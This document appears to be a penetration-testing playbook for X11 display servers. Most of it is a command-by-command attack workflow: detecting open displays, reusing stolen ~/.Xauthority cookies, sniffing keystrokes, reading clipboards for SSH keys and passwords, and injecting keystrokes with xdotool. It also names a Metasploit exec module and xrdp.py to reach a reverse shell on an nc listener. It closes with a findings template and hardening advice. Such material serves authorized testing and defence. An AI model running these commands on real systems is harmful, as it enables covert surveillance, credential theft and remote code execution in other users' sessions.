Testing the X Window System (X11) display server during authorized engagements. X11 listens on TCP 6000+<display> and the local Unix socket /tmp/.X11-unix/X<display>. Covers detecting unauthenticated ("xhost +") access with nmap NSE and Metasploit, abusing MIT-MAGIC-COOKIE-1 auth tokens from ~/.Xauthority, window/clipboard enumeration, keystroke sniffing (xspy), screenshotting (xwd), live shadowing, and keystroke injection (xdotool) for command execution.
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Testing the X Window System (X11) display server during authorized engagements. X11 listens on TCP 6000+<display> and the local Unix socket /tmp/.X11-unix/X<display>. Covers detecting unauthenticated ("xhost +") access with nmap NSE and Metasploit, abusing MIT-MAGIC-COOKIE-1 auth tokens from ~/.Xauthority, window/clipboard enumeration, keystroke sniffing (xspy), screenshotting (xwd), live shadowing, and keystroke injection (xdotool) for command execution.
During authorized assessments when TCP 6000+ is open (X11 display server)
When testing for unauthenticated X11 access (xhost + style misconfiguration)
When you have a local foothold and can read a valid ~/.Xauthority cookie
When you want screenshots, clipboard contents, keystroke capture, or input injection from an X session
When pivoting from a captured display to command execution on the host
Quick Enumeration
# Check for anonymous (open) X11 access
nmap -sV --script x11-access -p 6000 <IP>
msf> use auxiliary/scanner/x11/open_x11
# Local triage (post-foothold) — find DISPLAY and cookieecho"$DISPLAY"ls -lah /tmp/.X11-unix/
ps -efww | grep -E '[X]org|[X]wayland'# look for -auth <file> in cmdline
xauth info
xauth list
# Shodan-style discovery# port:6000 x11
Critical: Checks Most Often Missed
Open X11 (no auth) — xhost + or open access control lets any host connect to display :0 with no token. Confirm with x11-access / open_x11, then enumerate windows directly.
MIT-MAGIC-COOKIE-1 reuse — the 128-bit cookie in ~/.Xauthority is sent in plaintext and grants full access. If you can read the file (or another user's), export XAUTHORITY=/path/to/.Xauthority and connect.
Cookie via Xorg -auth argument — the X server's command line often reveals the authoritative auth file path (ps -efww | grep Xorg), readable with sufficient privileges.
Access ≠ "just graphics" — a connected display enables window enumeration, clipboard theft, screenshots, keystroke sniffing, and input injection (effectively RCE in the user's session).
Unix socket foothold — even when 6000/tcp is closed, a local foothold + valid cookie abuses /tmp/.X11-unix/X<display>.
XSendEvent ignored — apps often drop injected events sent to a specific window; activate the window first, then inject normal key events for reliability.
How to CONFIRM: open access is confirmed when xdpyinfo -display <IP>:0 or xwininfo -root -tree -display <IP>:0 returns display/window data without an auth error. With a cookie, confirm by setting XAUTHORITY and running the same command successfully.
Workflow
Step 1: Enumerate (detect, find display + cookie)
# Remote anonymous check
nmap -sV --script x11-access -p 6000 <IP>
# Local: identify the active display and session
w # shows DISPLAY (e.g. :0) and WHATecho"$DISPLAY"; ls -lah /tmp/.X11-unix/
xauth list # cookies known to this user# Use a cookie you obtainedexport XAUTHORITY=/path/to/.Xauthority
Step 2: Authenticate / connect and inspect the display
# Keystroke sniffing
xspy <IP>:<display>
xinput --test_xi2 --display <IP>:<display> # monitor input events# Clipboard theft (credentials, tokens, SSH keys, password-manager pastes)
xclip -display <IP>:<display> -selection clipboard -o
xsel --display <IP>:<display> --clipboard --output
# Screenshot the root window
xwd -root -screen -silent -display <IP>:0 > screenshot.xwd
convert screenshot.xwd screenshot.png
# Live shadowing of a window / display
xwininfo -root -display <IP>:0 # get window ID (e.g. 0x45)
./xwatchwin <IP>:0 -w 0x45 # live view
xpra shadow :0 # maintained alternative
Step 4: Post-access / command execution
# Keystroke injection -> run commands in the user's session
WID=$(xdotool search --onlyvisible --name '.*' | head -n 1)
xdotool windowactivate --sync"$WID"
xdotool type --delay 50 'xterm &'
xdotool key Return
# (activating the window first beats XSendEvent filtering)# Metasploit keyboard-exec module
msf> use exploit/unix/x11/x11_keyboard_exec
# xrdp.py command exec / reverse shell over X11
./xrdp.py <IP>:0
./xrdp.py <IP>:0 --no-disp # then use R-Shell to a nc listener
nc -lvp 5555
Key Concepts
Concept
Description
X11 / X Window System
Network-capable windowing system for UNIX-like OSes
Display number
Maps to TCP 6000 + display and Unix socket /tmp/.X11-unix/X
MIT-MAGIC-COOKIE-1
128-bit shared secret in ~/.Xauthority sent plaintext to authorize clients
XAUTHORITY
Env var pointing to the auth cookie file
xhost access control
Host-based ACL; xhost + disables it (open access)
Input injection
Sending synthetic key/mouse events (xdotool) to the session
XSendEvent filtering
Apps ignore synthetic events targeted at a window; activate-then-type instead
Shadowing
Live viewing/control of a display via xwatchwin / xpra
Tools & Systems
Tool
Purpose
nmap (x11-access)
Detect unauthenticated X11 access
Metasploit open_x11 / x11_keyboard_exec
Detect open displays and inject commands
xauth
Inspect/manage MIT-MAGIC-COOKIE auth tokens
xdpyinfo / xwininfo / xlsclients / xinput
Display, window, client, and input enumeration
xspy
Keystroke sniffing on a connected display
xclip / xsel
Read clipboard/primary selection contents
xwd + convert
Capture and convert screenshots
xwatchwin / xpra
Live window/display shadowing
xdotool
Keystroke/mouse injection for command execution
Common Scenarios
Scenario 1: Open Display Screenshot
nmap --script x11-access flags display :0 as open. xwd -root -display <IP>:0 captures the desktop, exposing an open terminal and a password manager window.
Scenario 2: Cookie Reuse
A readable ~/.Xauthority is pulled from a foothold. Setting XAUTHORITY and running xdpyinfo confirms access; xspy then captures the user typing a sudo password.
Scenario 3: Clipboard Secret Theft
Connected to a display, xclip -selection clipboard -o returns a freshly copied SSH private key, reused to authenticate to other hosts.
Scenario 4: Input Injection to RCE
With access to display :0, xdotool activates a visible window and types commands to spawn a reverse shell, turning display access into code execution in the user's session.
Output Format
## X11 Finding
**Service**: X Window System (X11)
**Severity**: <Critical|High|Medium>
**Host**: <IP>:6000 (display :<n>)
**Access**: <open/no-auth | cookie-reuse>
### Summary
<What was found: open display, reusable cookie, keystroke capture, clipboard theft, RCE via injection>
### Evidence
- Command: <nmap / xdpyinfo / xspy / xclip / xdotool>
- Output: <display info, sniffed keystrokes (redacted), screenshot path>
### Impact Demonstrated
| Capability | Result |
|------------|--------|
| Screenshot | desktop captured |
| Keylogging | credentials observed |
| Input injection | command executed in user session |
### Recommendation
1. Never disable X11 access control (`xhost +`); use cookie-based auth only
2. Tunnel X11 over SSH (X11 forwarding) instead of exposing TCP 6000
3. Disable the X server TCP listener (`-nolisten tcp`) where not required
4. Protect ~/.Xauthority files and restrict the Xorg -auth file permissions
5. Firewall ports 6000-6010 from untrusted networks
